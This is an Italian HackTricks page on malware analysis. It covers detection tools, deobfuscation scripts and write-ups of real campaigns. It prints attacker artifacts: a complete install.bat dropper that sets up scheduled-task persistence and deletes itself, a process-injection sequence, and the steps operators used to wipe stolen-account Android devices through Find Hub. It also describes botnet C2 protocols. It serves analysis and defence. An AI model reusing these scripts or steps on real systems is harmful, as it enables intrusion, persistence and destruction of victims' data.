Analisi Malware
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.
CheatSheet forensics
https://www.jaiminton.com/cheatsheet/DFIR/#
Servizi online
Strumenti antivirus e di rilevamento offline
Yara
Installa
sudo apt-get install -y yara
Prepara le regole
Usa questo script per scaricare e unire tutte le regole yara malware da github: https://gist.github.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9
Crea la directory rules ed eseguilo. Questo creerà un file chiamato malware_rules.yar che contiene tutte le regole yara per malware.
wget https://gist.githubusercontent.com/andreafortuna/29c6ea48adf3d45a979a78763cdc7ce9/raw/4ec711d37f1b428b63bed1f786b26a0654aa2f31/malware_yara_rules.py
mkdir rules
python malware_yara_rules.py
Scansione
yara -w malware_rules.yar image #Scan 1 file
yara -w malware_rules.yar folder #Scan the whole folder
YaraGen: Controlla la presenza di malware e crea regole
Puoi usare lo strumento YaraGen per generare regole yara da un binary. Dai un’occhiata a questi tutorial: Part 1, Part 2, Part 3
python3 yarGen.py --update
python3.exe yarGen.py --excludegood -m ../../mals/
ClamAV
Installazione
sudo apt-get install -y clamav
Scansione
sudo freshclam #Update rules
clamscan filepath #Scan 1 file
clamscan folderpath #Scan the whole folder
Capa
Capa rileva capabilities potenzialmente malevole negli eseguibili: PE, ELF, .NET. Quindi troverà cose come tattiche Att&ck, o capability sospette come:
- check for OutputDebugString error
- run as a service
- create process
Ottienilo nel Github repo.
IOC
IOC significa Indicator Of Compromise. Un IOC è un insieme di condizioni che identificano qualche software potenzialmente indesiderato o malware confermato. I Blue Teams usano questo tipo di definizione per cercare questo tipo di file malevoli nei loro sistemi e reti.
Condividere queste definizioni è molto utile: quando il malware viene identificato in un computer e viene creato un IOC per quel malware, altri Blue Teams possono usarlo per identificarlo più rapidamente.
Uno strumento per creare o modificare IOC è IOC Editor.
Puoi usare strumenti come Redline per cercare IOC definiti in un dispositivo.
Loki
Loki è uno scanner per Simple Indicators of Compromise.
La rilevazione si basa su quattro metodi di detection:
1. File Name IOC
Regex match on full file path/name
2. Yara Rule Check
Yara signature matches on file data and process memory
3. Hash Check
Compares known malicious hashes (MD5, SHA1, SHA256) with scanned files
4. C2 Back Connect Check
Compares process connection endpoints with C2 IOCs (new since version v.10)
Linux Malware Detect
Linux Malware Detect (LMD) è uno scanner di malware per Linux rilasciato con licenza GNU GPLv2, progettato attorno alle minacce presenti in ambienti host condivisi. Usa dati sulle minacce provenienti da sistemi di intrusion detection al margine della rete per estrarre malware che viene effettivamente utilizzato negli attacchi e genera signature per il rilevamento. Inoltre, i dati sulle minacce derivano anche dalle segnalazioni degli utenti con la funzionalità di checkout di LMD e dalle risorse della community sul malware.
rkhunter
Strumenti come rkhunter possono essere usati per controllare il filesystem alla ricerca di possibili rootkits e malware.
sudo ./rkhunter --check -r / -l /tmp/rkhunter.log [--report-warnings-only] [--skip-keypress]
FLOSS
FLOSS è uno strumento che proverà a trovare stringhe offuscate all’interno degli eseguibili usando tecniche diverse.
PEpper
PEpper controlla alcune informazioni di base all’interno dell’eseguibile (dati binari, entropia, URL e IP, alcune regole yara).
PEstudio
PEstudio è uno strumento che consente di ottenere informazioni sugli eseguibili Windows come import, export, header, ma controllerà anche virus total e troverà potenziali tecniche Att&ck.
Detect It Easy(DiE)
DiE è uno strumento per rilevare se un file è encrypted e anche per trovare packers.
NeoPI
NeoPI è uno script Python che usa una varietà di statistical methods per rilevare contenuti obfuscated e encrypted all’interno di file di testo/script. Lo scopo previsto di NeoPI è aiutare nella detection of hidden web shell code.
php-malware-finder
PHP-malware-finder fa del suo meglio per rilevare obfuscated/dodgy code così come file che usano funzioni PHP spesso usate in malwares/webshells.
Apple Binary Signatures
Quando controlli un malware sample dovresti sempre check the signature del binario, poiché il developer che lo ha firmato potrebbe essere già related con malware.
#Get signer
codesign -vv -d /bin/ls 2>&1 | grep -E "Authority|TeamIdentifier"
#Check if the app’s contents have been modified
codesign --verify --verbose /Applications/Safari.app
#Check if the signature is valid
spctl --assess --verbose /Applications/Safari.app
Tecniche di rilevamento
File Stacking
Se sai che qualche cartella contenente i files di un web server è stata aggiornata l’ultima volta in una certa data. Controlla la data in cui tutti i files nel web server sono stati creati e modificati e, se qualche data è sospetta, controlla quel file.
Baselines
Se i files di una cartella non avrebbero dovuto essere modificati, puoi calcolare l’hash dei files originali della cartella e confrontarli con quelli attuali. Qualsiasi modifica sarà sospetta.
Analisi statistica
Quando le informazioni sono salvate nei log, puoi controllare statistiche come quante volte ciascun file di un web server è stato accesso, poiché una web shell potrebbe essere una delle più.
Telemetria nativa Android nell’app (senza root)
Su Android, puoi instrumentare codice nativo all’interno del processo dell’app target precaricando una piccola libreria logger prima che altre librerie JNI inizializzino. Questo fornisce visibilità precoce sul comportamento nativo senza hook a livello di sistema o root. Un approccio popolare è SoTap: inserisci libsotap.so per l’ABI corretta nell’APK e inietta una chiamata System.loadLibrary(“sotap”) all’inizio (ad es. initializer statico o Application.onCreate), poi raccogli i log dai path interni/esterni o dal fallback Logcat.
Vedi la pagina di reversing nativo Android per i dettagli di setup e i path dei log:
Deobfuscation di stringhe native Android/JNI con angr + Ghidra
Alcuni malware Android e app protette da RASP nascondono i nomi e le signature dei metodi JNI decodificandoli a runtime prima di chiamare RegisterNatives. Quando l’instrumentazione Frida/ptrace viene bloccata da anti-debug, puoi comunque recuperare il plaintext offline eseguendo il decoder interno al binario con angr e poi reinserendo i risultati in Ghidra come commenti.
Idea chiave: tratta il decoder dentro il .so come una funzione richiamabile, eseguilo sui blob di byte offuscati in .rodata e concretizza i byte di output fino al primo \x00 (terminatore di C-string). Mantieni angr e Ghidra con lo stesso image base per evitare mismatch degli indirizzi.
Panoramica del workflow
- Triage in Ghidra: identifica il decoder e la sua calling convention/arguments in JNI_OnLoad e nella configurazione di RegisterNatives.
- Esegui angr (CPython3) per eseguire il decoder per ogni stringa target e dumpare i risultati.
- Annota in Ghidra: auto-commenta le stringhe decodificate in ogni call site per una ricostruzione rapida di JNI.
Triage in Ghidra (pattern JNI_OnLoad)
- Applica i datatype JNI a JNI_OnLoad così Ghidra riconosce le strutture JNINativeMethod.
- Tipico JNINativeMethod secondo la documentazione Oracle:
typedef struct {
char *name; // e.g., "nativeFoo"
char *signature; // e.g., "()V", "()[B"
void *fnPtr; // native implementation address
} JNINativeMethod;
- Cerca chiamate a RegisterNatives. Se la libreria costruisce il nome/signature con una routine locale (e.g., FUN_00100e10) che fa riferimento a una tabella di byte statica (e.g., DAT_00100bf4) e prende parametri come (encoded_ptr, out_buf, length), questo è un target ideale per l’esecuzione offline.
Setup di angr (esegui il decoder offline)
- Carica il .so con lo stesso base usato in Ghidra (example: 0x00100000) e disabilita il caricamento automatico delle librerie esterne per mantenere lo stato piccolo.
Setup di angr e esecuzione offline del decoder
```python import angr, jsonproject = angr.Project( ‘/path/to/libtarget.so’, load_options={‘main_opts’: {‘base_addr’: 0x00100000}}, auto_load_libs=False, )
ENCODING_FUNC_ADDR = 0x00100e10 # decoder function discovered in Ghidra
def decode_string(enc_addr, length):
fresh blank state per evaluation
st = project.factory.blank_state() outbuf = st.heap.allocate(length) call = project.factory.callable(ENCODING_FUNC_ADDR, base_state=st) ret_ptr = call(enc_addr, outbuf, length) # returns outbuf pointer rs = call.result_state raw = rs.solver.eval(rs.memory.load(ret_ptr, length), cast_to=bytes) return raw.split(b’\x00’, 1)[0].decode(‘utf-8’, errors=‘ignore’)
Example: decode a JNI signature at 0x100933 of length 5 → should be ()[B
print(decode_string(0x00100933, 5))
</details>
- Su larga scala, costruisci una mappa statica dei call site agli argomenti del decoder (encoded_ptr, size). I wrapper possono nascondere gli argomenti, quindi potresti dover creare questa mappatura manualmente dagli xref di Ghidra se il recupero delle API è rumoroso.
<details>
<summary>Batch decode multiple call sites with angr</summary>
```python
# call_site -> (encoded_addr, size)
call_site_args_map = {
0x00100f8c: (0x00100b81, 0x41),
0x00100fa8: (0x00100bca, 0x04),
0x00100fcc: (0x001007a0, 0x41),
0x00100fe8: (0x00100933, 0x05),
0x0010100c: (0x00100c62, 0x41),
0x00101028: (0x00100c15, 0x16),
0x00101050: (0x00100a49, 0x101),
0x00100cf4: (0x00100821, 0x11),
0x00101170: (0x00100940, 0x101),
0x001011cc: (0x0010084e, 0x13),
0x00101334: (0x001007e9, 0x0f),
0x00101478: (0x0010087d, 0x15),
0x001014f8: (0x00100800, 0x19),
0x001015e8: (0x001008e6, 0x27),
0x0010160c: (0x00100c33, 0x13),
}
decoded_map = { hex(cs): decode_string(enc, sz)
for cs, (enc, sz) in call_site_args_map.items() }
import json
print(json.dumps(decoded_map, indent=2))
with open('decoded_strings.json', 'w') as f:
json.dump(decoded_map, f, indent=2)
Annota i call site in Ghidra Opzione A: writer di commenti solo Jython (usa un JSON pre-computato)
- Poiché angr richiede CPython3, mantieni separati deobfuscation e annotation. Prima esegui lo script angr sopra per produrre decoded_strings.json. Poi esegui questo GhidraScript Jython per scrivere PRE_COMMENTs a ogni call site (e includi il nome della funzione chiamante per il contesto):
Ghidra Jython script to annotate decoded JNI strings
```python #@category Android/Deobfuscation # Jython in Ghidra 10/11 import json from ghidra.program.model.listing import CodeUnitAsk for the JSON produced by the angr script
f = askFile(‘Select decoded_strings.json’, ‘Load’) mapping = json.load(open(f.absolutePath, ‘r’)) # keys as hex strings
fm = currentProgram.getFunctionManager() rm = currentProgram.getReferenceManager()
Replace with your decoder address to locate call-xrefs (optional)
ENCODING_FUNC_ADDR = 0x00100e10 enc_addr = toAddr(ENCODING_FUNC_ADDR)
callsite_to_fn = {} for ref in rm.getReferencesTo(enc_addr): if ref.getReferenceType().isCall(): from_addr = ref.getFromAddress() fn = fm.getFunctionContaining(from_addr) if fn: callsite_to_fn[from_addr.getOffset()] = fn.getName()
Write comments from JSON
for k_hex, s in mapping.items(): cs = int(k_hex, 16) site = toAddr(cs) caller = callsite_to_fn.get(cs, None) text = s if caller is None else ‘%s @ %s’ % (s, caller) currentProgram.getListing().setComment(site, CodeUnit.PRE_COMMENT, text) print(‘[+] Annotated %d call sites’ % len(mapping))
</details>
Option B: Single CPython script via pyhidra/ghidra_bridge
- In alternativa, usa pyhidra o ghidra_bridge per controllare le API di Ghidra dallo stesso processo CPython che esegue angr. Questo permette di chiamare decode_string() e impostare immediatamente i PRE_COMMENTs senza un file intermedio. La logica rispecchia lo script Jython: costruisci la mappa callsite→function tramite ReferenceManager, decodifica con angr e imposta i commenti.
Why this works and when to use it
- L’esecuzione offline aggira RASP/anti-debug: nessun ptrace, nessun hook Frida richiesto per recuperare le stringhe.
- Mantenere allineati base_addr di Ghidra e angr (ad es. 0x00100000) garantisce che gli indirizzi di function/data coincidano tra gli strumenti.
- Ricetta ripetibile per i decoder: tratta la trasformazione come una funzione pura, alloca un buffer di output in un fresh state, chiamala con (encoded_ptr, out_ptr, len), poi concretizza tramite state.solver.eval e analizza le C-strings fino a \x00.
Notes and pitfalls
- Rispetta l’ABI/calling convention del target. angr.factory.callable ne sceglie uno in base all’arch; se gli argomenti sembrano spostati, specifica esplicitamente cc.
- Se il decoder si aspetta buffer di output azzerati, inizializza outbuf con zeri nello state prima della chiamata.
- Per Android .so position-independent, fornisci sempre base_addr così gli indirizzi in angr corrispondono a quelli visti in Ghidra.
- Usa currentProgram.getReferenceManager() per enumerare i call-xrefs anche se l’app incapsula il decoder dietro thin stubs.
Per le basi di angr, vedi: [angr basics](../../reversing/reversing-tools-basic-methods/angr/README.md)
---
## Deobfuscating Dynamic Control-Flow (JMP/CALL RAX Dispatchers)
Le moderne famiglie di malware abusano pesantemente dell’oscuramento del Control-Flow Graph (CFG): invece di un jump/call diretto calcolano la destinazione a run-time ed eseguono un `jmp rax` o `call rax`. Un piccolo *dispatcher* (tipicamente nove istruzioni) imposta il target finale in base ai flag `ZF`/`CF` della CPU, rompendo completamente il recupero statico del CFG.
La tecnica – mostrata dal loader SLOW#TEMPEST – può essere aggirata con un workflow in tre passaggi che si basa solo su IDAPython e sull’emulatore CPU Unicorn.
### 1. Individua ogni jump / call indiretto
```python
import idautils, idc
for ea in idautils.FunctionItems(idc.here()):
mnem = idc.print_insn_mnem(ea)
if mnem in ("jmp", "call") and idc.print_operand(ea, 0) == "rax":
print(f"[+] Dispatcher found @ {ea:X}")
2. Estrarre il byte-code del dispatcher
import idc
def get_dispatcher_start(jmp_ea, count=9):
s = jmp_ea
for _ in range(count):
s = idc.prev_head(s, 0)
return s
start = get_dispatcher_start(jmp_ea)
size = jmp_ea + idc.get_item_size(jmp_ea) - start
code = idc.get_bytes(start, size)
open(f"{start:X}.bin", "wb").write(code)
3. Emulalo due volte con Unicorn
from unicorn import *
from unicorn.x86_const import *
import struct
def run(code, zf=0, cf=0):
BASE = 0x1000
mu = Uc(UC_ARCH_X86, UC_MODE_64)
mu.mem_map(BASE, 0x1000)
mu.mem_write(BASE, code)
mu.reg_write(UC_X86_REG_RFLAGS, (zf << 6) | cf)
mu.reg_write(UC_X86_REG_RAX, 0)
mu.emu_start(BASE, BASE+len(code))
return mu.reg_read(UC_X86_REG_RAX)
Esegui run(code,0,0) e run(code,1,1) per ottenere i target dei rami false e true.
4. Patch back a direct jump / call
import struct, ida_bytes
def patch_direct(ea, target, is_call=False):
op = 0xE8 if is_call else 0xE9 # CALL rel32 or JMP rel32
disp = target - (ea + 5) & 0xFFFFFFFF
ida_bytes.patch_bytes(ea, bytes([op]) + struct.pack('<I', disp))
Dopo aver applicato la patch, forza IDA a rianalizzare la funzione in modo che il CFG completo e l’output di Hex-Rays vengano ripristinati:
import ida_auto, idaapi
idaapi.reanalyze_function(idc.get_func_attr(ea, idc.FUNCATTR_START))
5. Etichetta le chiamate API indirette
Una volta che la vera destinazione di ogni call rax è nota, puoi dire a IDA di cosa si tratta, così i tipi dei parametri e i nomi delle variabili vengono recuperati automaticamente:
idc.set_callee_name(call_ea, resolved_addr, 0) # IDA 8.3+
Vantaggi pratici
- Ripristina il vero CFG → la decompilazione passa da 10 righe a migliaia.
- Consente string-cross-reference & xrefs, rendendo banale la ricostruzione del comportamento.
- Gli script sono riutilizzabili: inseriscili in qualsiasi loader protetto dallo stesso trucco.
Loader basati su AutoIt: decryption .a3x, masquerade di Task Scheduler e iniezione RAT
Questo schema di intrusion chaining usa un MSI firmato, loader AutoIt compilati in .a3x e un job di Task Scheduler che si maschera da app legittima.
MSI → custom actions → orchestratore AutoIt
Albero dei processi e comandi eseguiti dalle custom actions dell’MSI:
- MsiExec.exe → cmd.exe per eseguire install.bat
- WScript.exe per mostrare una finestra di errore esca
%SystemRoot%\system32\cmd.exe /c %APPDATA%\스트레스 클리어\install.bat
%SystemRoot%\System32\WScript.exe %APPDATA%\스트레스 클리어\error.vbs
install.bat (rilascia il loader, imposta la persistenza, si auto-pulisce):
@echo off
set dr=Music
copy "%~dp0AutoIt3.exe" %public%\%dr%\AutoIt3.exe
copy "%~dp0IoKlTr.au3" %public%\%dr%\IoKlTr.au3
cd /d %public%\%dr% & copy c:\windows\system32\schtasks.exe hwpviewer.exe ^
& hwpviewer /delete /tn "IoKlTr" /f ^
& hwpviewer /create /sc minute /mo 1 /tn "IoKlTr" /tr "%public%\%dr%\AutoIt3.exe %public%\%dr%\IoKlTr.au3"
del /f /q "%~dp0AutoIt3.exe"
del /f /q "%~dp0IoKlTr.au3"
del /f /q "%~f0"
error.vbs (esca utente):
MsgBox "현재 시스템 언어팩과 프로그램 언어팩이 호환되지 않아 실행할 수 없습니다." & vbCrLf & _
"설정에서 한국어(대한민국) 언어팩을 설치하거나 변경한 뒤 다시 실행해 주세요.", _
vbCritical, "언어팩 오류"
Artifacti chiave e masquerade:
- Rilascia AutoIt3.exe e IoKlTr.au3 in C:\Users\Public\Music
- Copia schtasks.exe in hwpviewer.exe (si maschera da visualizzatore di Hangul Word Processor)
- Crea una scheduled task “IoKlTr” che viene eseguita ogni 1 minuto
- Startup LNK visto come Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 - Stagia moduli sotto sottocartelle di %APPDATA%\Google\Browser\ contenenti
adboadve li avvia tramite helper autoit.vbs/install.bat
Suggerimenti per il triage forense:
- Enumerazione schtasks:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Cerca copie rinominate di schtasks.exe co-localizzate con il Task XML:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - Percorsi comuni:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, StartupSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - Correlare la creazione dei processi: AutoIt3.exe che avvia binari Windows legittimi (per esempio cleanmgr.exe, hncfinder.exe)
Loader AutoIt e decrittazione → injection di payload .a3x
- I moduli AutoIt sono compilati con
#AutoIt3Wrapper_Outfile_type=a3xe decifrano payload embedded prima di iniettarli in processi benigni. - Famiglie osservate: QuasarRAT (iniettato in hncfinder.exe) e RftRAT/RFTServer (iniettato in cleanmgr.exe), oltre ai moduli RemcosRAT (
Remcos\RunBinary.a3x). - Pattern di decrittazione: derivare una chiave AES tramite HMAC, decrittare il blob embedded, quindi iniettare il modulo in plaintext.
Schema generico di decrittazione (l’input/algoritmo HMAC esatto è specifico della famiglia):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 → first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
Flusso di injection comune (stile CreateRemoteThread):
- CreateProcess (suspended) dell’host target (ad es. cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory con modulo/shellcode decrittato
- CreateRemoteThread o QueueUserAPC per eseguire il payload
Idee di hunting
- AutoIt3.exe con parent MsiExec.exe o WScript.exe che avvia utility di sistema
- File con estensioni
.a3xo runner di script AutoIt sotto percorsi public/user-writable - Attività pianificate sospette che eseguono AutoIt3.exe o binari non firmati da Microsoft, con trigger a livello di minuti
Abuso di account takeover di Android Find My Device (Find Hub)
Durante l’intrusione in Windows, gli operatori hanno usato credenziali Google rubate per cancellare ripetutamente i dispositivi Android della vittima, sopprimendo le notifiche mentre espandevano l’accesso tramite il messenger desktop della vittima già connesso.
Passi dell’operatore (da una sessione del browser già autenticata):
- Rivedere Google Account → Security → Your devices; seguire Find My Phone → Find Hub (https://www.google.com/android/find)
- Selezionare il dispositivo → reinserire la password Google → eseguire “Erase device” (factory reset); ripetere per ritardare il recupero
- Opzionale: cancellare le e-mail di avviso nella mailbox collegata (ad es. Naver) per nascondere le notifiche di sicurezza
Tracciamento di loader Node.js fortemente offuscati
Gli attacker raggruppano sempre più spesso loader JavaScript dentro binari Windows standalone compilati con nexe, così il runtime viene incluso insieme allo script. Il PE risultante spesso pesa 60–90 MB ed esegue anche se Node.js non è installato. Durante il triage:
- Usa
nexe_unpackerper estrarre il JavaScript incorporato dal PE e inviarlo a strumenti locali per il diff statico. - Aspettati un mutex su disco in
%TEMP%(GachiLoader rilascia un file casuale<name>.lockche scade dopo circa 5 minuti). Copiare il file nel sandbox prima dell’esecuzione ti permette di saltare fasi ridondanti pur vedendo comunque i payload successivi.
Tracciamento delle API di Node.js per battere l’anti-analysis
Check Point’s Nodejs-Tracer aggancia i moduli core dentro qualsiasi processo Node.js, permette di falsificare i controlli anti-VM e preserva ogni artefatto scritto dal sample. Avvia script offuscati tramite il tracer per mantenere nell’analyst-controlled instrumentation lo stack delle chiamate:
node -r .\tracer.js main.js
Le configurazioni chiave dentro tracer.js ti permettono di:
- Registrare l’attività del filesystem, dei child-process e HTTP (
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES). Ogni file rilasciato — comekidkadi.node— viene copiato nella working directory prima che il malware lo elimini. - Overridare le fingerprint dell’ambiente restituendo valori realistici di RAM/CPU, falsificando l’output di
taskliste manomettendo le risposte di PowerShell/WMI. Questo aggira i loader che richiedono ≥4 GB di RAM, ≥2 core e controllano i nomi utente (mashinesssss,wdagutilityaccount, ecc.), gli hostname (desktop-vrsqlag,server1…) e i nomi dei processi (vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe). - Disattivare i controlli hardware WMI come
Get-WmiObject Win32_DiskDrive(alla ricerca divmware,kvm,virtio, …),Win32_VideoController(che blocca “VirtualBox Graphics Adapter”, “Hyper-V Video”, ecc.) e i conteggi diWin32_PortConnector. Quando queste probe riportano hardware “reale”, le sandbox non finiscono più nel loop infinito di chiamate benignInvoke-WebRequestversolinkedin.com,grok.com,whatsapp.come domini simili che GachiLoader usa per far perdere tempo all’analisi.
Catturare automaticamente il traffico C2 gated
I network hook del tracer rivelano un’autenticazione C2 a più livelli senza dover reverse-engineer l’offuscamento JavaScript. Nella campagna osservata, il loader:
- Fa POST dei telemetry dell’host a
/logsu ogni C2 hard-coded. - Invia
GET /richfamily/<per-sample key>conX-Secret: gachifamilyper recuperare un payload URL codificato in Base64. - Esegue un
GETfinale a quell’URL con un lungo headerX-Secretper campione; se manca, restituisce403 Forbidden.
Poiché il tracer registra le richieste complete (header, body, destinazioni), puoi riprodurre lo stesso traffico per prelevare i payload, dumpare in memoria le shell Themida/VMProtect ed estrarre i dati di configurazione di Rhadamanthys su larga scala.
AdaptixC2: Estrazione della configurazione e TTPs
Vedi la pagina dedicata:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
Loader APK ed esecuzione ELF nativa su TV box
- APK malevoli come
com.n2.systemservice06*includono un ELF ARM staticamente linked dentrores/raw(per esempioR.raw.libniggakernel). Un receiverBOOT_COMPLETEDviene eseguito all’avvio, estrae la risorsa raw nel sandbox dell’app (per esempio/data/data/<pkg>/niggakernel), la rende eseguibile e la invoca consu. - Molti TV box/tablet Android vengono forniti con immagini pre-rooted o
suworld-writable, quindi il loader avvia in modo affidabile l’ELF con UID 0 anche senza una chain di exploit. La persistenza arriva “gratis” perché il receiver si rilancia dopo ogni reboot o riavvio dell’app. - I reverse engineer che cercano questo pattern possono confrontare
AndroidManifest.xmlper hidden boot receivers più codice che fa riferimento aResources.openRawResource→FileOutputStream→Runtime.getRuntime().exec("su"). Una volta droppato l’ELF, trattalo come una backdoor Linux userland (Kimwolf è packed con UPX, stripped, statically linked, ARM EABI5 a 32 bit).
Mutex runtime e IOC di masquerading
- All’avvio, Kimwolf si associa a un abstract UNIX domain socket come
@niggaboxv4/@niggaboxv5. Socket già esistenti forzano un’uscita, quindi il nome del socket funziona sia come mutex sia come artefatto forense. - Il titolo del processo viene sovrascritto con nomi che sembrano di servizio (
netd_services,tv_helper, ecc.) per mimetizzarsi nelle liste dei processi Android. Le detection basate sull’host possono allertare su questi nomi combinati con il mutex socket.
Decodifica di stringhe con XOR nello stack usando ARM NEON + flare_emu
- Le stringhe sensibili (domini C2, resolver, endpoint DoT) vengono pushate nello stack in blocchi crittografati da 8 byte e decodificate in-place tramite
VEOR Qx, Qx, Qy(veorq_s64). Gli analisti possono scriptare flare_emu per catturare il puntatore decriptato ogni volta che il decryptor lo passa al chiamante:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Cercare le sequenze
VEOR Q8, Q8, Q9/veorq_s64ed emularne gli intervalli fa mass-dump di ogni stringa decifrata, aggirando la durata solo nello stack del plaintext.
Risoluzione DNS-over-TLS più derivazione IP XOR
- Tutte le varianti Kimwolf risolvono i domini C2 parlando direttamente DNS-over-TLS (TCP/853) con Google (8.8.8.8) o Cloudflare (1.1.1.1), eludendo il logging o l’hijacking del DNS in chiaro.
- I bot v4 usano semplicemente il record A IPv4 restituito. I bot v5 trattano il record A come un intero a 32 bit, ne scambiano l’endianness, fanno XOR con la costante
0x00ce0491, poi ribaltano di nuovo l’endianness per ottenere il vero IP C2. Ricetta CyberChef: Change IP format → swap endianness per blocco da 4 byte → XOR con00 ce 04 91→ convert back to dotted decimal.
Fallback ENS / EtherHiding
- Le build successive aggiungono un dominio ENS (
pawsatyou.eth) il cui key text resolver"lol"memorizza un IPv6 apparentemente benigno (fed0:5dec:...:1be7:8599). - Il bot prende gli ultimi quattro byte (
1b e7 85 99), li fa XOR con0x93141715, e interpreta il risultato come un C2 IPv4 (136.243.146.140). Aggiornare il record text ENS ruota istantaneamente i C2 downstream tramite la blockchain senza toccare il DNS.
Canale di comando autenticato TLS + ECDSA
- Il traffico è incapsulato in wolfSSL con un protocollo framed personalizzato:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- Bootstrap: il bot invia due header vuoti
MsgType=0 (register). La C2 risponde conMsgType=1 (verify)contenente una challenge casuale più una firma ASN.1 DER ECDSA. I bot la verificano rispetto a un blob SubjectPublicKeyInfo incorporato; i fallimenti terminano la sessione, impedendo a nodi C2 hijacked/sinkholed di assegnare task alla fleet. - Una volta verificato, il bot invia un body
MsgType=0che contiene la group string definita dall’operatore (ad es.android-postboot-rt). Se il gruppo è abilitato, la C2 risponde conMsgType=2 (confirm), dopo di che inizia il tasking (MsgType 5–12). - I verbi supportati includono proxying TCP/UDP in stile SOCKS (monetizzazione di residential proxy), reverse shell / esecuzione di un singolo comando, lettura/scrittura di file e payload Mirai-compatible DDoSBody (stesso layout
AtkType,Duration,Targets[],Flags[]).
Partial-encryption ransomware: nonce dello stream-cipher persi
Alcune famiglie di ransomware crittografano parzialmente i file per velocità, ma quando usano un stream cipher in modo indipendente su più chunk, ogni regione cifrata ha bisogno del proprio nonce/IV persistente. Se il sample genera un nonce nuovo per ogni chunk e sovrascrive lo stesso buffer da 12 byte dentro il loop, per poi aggiungere su disco solo il valore finale, i chunk precedenti diventano crittograficamente irrecuperabili anche se in seguito l’attaccante condivide la chiave.
Pattern rotto tipico:
for (i = 0; i < 4; i++) {
randombytes_buf(nonce, 12); // same buffer reused each round
crypto_stream_chacha20_ietf_xor(chunk, chunk, len, nonce, key);
}
write(fd, nonce, 12); // only the last nonce survives
Riferimenti
- Unit42 – Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger – github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation – revflash.medium.com
- Ghidra – github.com/NationalSecurityAgency/ghidra
- angr – angr.io
- JNI_OnLoad and invocation API – docs.oracle.com
- RegisterNatives – docs.oracle.com
- Tracing JNI Functions – valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions – laripping.com
- Unit42 – AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion – genians.co.kr
- Android Find My Device (Find Hub) – google.com/android/find
- RftRAT/RFTServer technical analysis – asec.ahnlab.com
- HMAC background – wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations – blog.xlab.qianxin.com
- Check Point Research – GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer – GitHub
- Check Point Research – VECT: Ransomware by design, Wiper by accident
- Libsodium documentation – ChaCha20 stream cipher APIs
- RFC 8439 – ChaCha20 and Poly1305 for IETF Protocols
Tip
Impara e pratica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Sfoglia il catalogo completo di HackTricks Training per i percorsi di assessment (ARTA/GRTA/AzRTA) e Linux Hacking Expert (LHE).
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord, al gruppo telegram, segui @hacktricks_live su X/Twitter, oppure controlla la pagina LinkedIn e il canale YouTube.
- Condividi hacking tricks inviando PR ai repository github HackTricks e HackTricks Cloud.


